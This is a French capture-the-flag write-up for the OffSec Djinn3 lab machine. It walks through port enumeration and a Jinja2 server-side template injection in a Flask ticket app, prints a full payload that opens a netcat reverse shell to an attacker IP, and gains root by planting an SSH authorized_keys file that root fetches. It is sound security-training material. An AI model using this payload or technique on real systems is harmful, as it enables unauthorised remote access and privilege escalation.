Machine CTF Djinn3 d'OffSec, classée difficile. Cet article documente la démarche complète : énumération, découverte d'une SSTI Flask, obtention d'un reverse shell, puis élévation de privilèges par analyse de bytecode Python.
Énumération initiale
IP=192.168.59.102 sudo nmap -sC -sV -p- $IP -v
Ports découverts
- Port 22 — SSH
- Port 80 — HTTP
- Port 5000 — Werkzeug (Flask)
- Port 31337 — Service personnalisé
Le port 5000 expose Werkzeug — signe probable d'une application Flask. Le port 31337 est non standard, priorité dessus :
nc $IP 31337
Une invite de connexion apparaît. Les credentials par défaut guest/guest fonctionnent. La commande help liste les fonctionnalités disponibles.
Exploitation — SSTI (Server Side Template Injection)
Le SSTI survient lorsque le serveur interprète une entrée utilisateur comme un template — permettant l'exécution de code côté serveur.
Test de vulnérabilité via la création d'un ticket :
> open
Title: test
Description: {{3*3}}
Le ticket créé sur le port 5000 affiche 9 au lieu de 3*3 — l'application est vulnérable au SSTI Jinja2.
Payload reverse shell :
# Écoute (machine attaquante)
sudo nc -nvlp 1234
# Payload dans la description du ticket
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.49.59 1234 >/tmp/f').read()}}
Shell obtenu en tant que www-data.
Élévation de privilèges — Analyse bytecode Python
Machine classée difficile — on évite les raccourcis. Le décompilage d'un fichier .pyc révèle la logique de configuration :
uncompyle6 .configuration.cpython-38.pyc
Le code révèle que root récupère périodiquement des fichiers JSON et un fichier authorized_keys depuis un serveur HTTP. En positionnant nos propres fichiers au bon endroit avec notre clé SSH publique, on obtient un accès root par SSH.
# Logs du serveur HTTP montrant les requêtes de root 192.168.60.102 - "GET /25-06-2020.config.json HTTP/1.1" 200 192.168.60.102 - "GET /authorized_keys HTTP/1.1" 200
Machine compromise — accès root obtenu.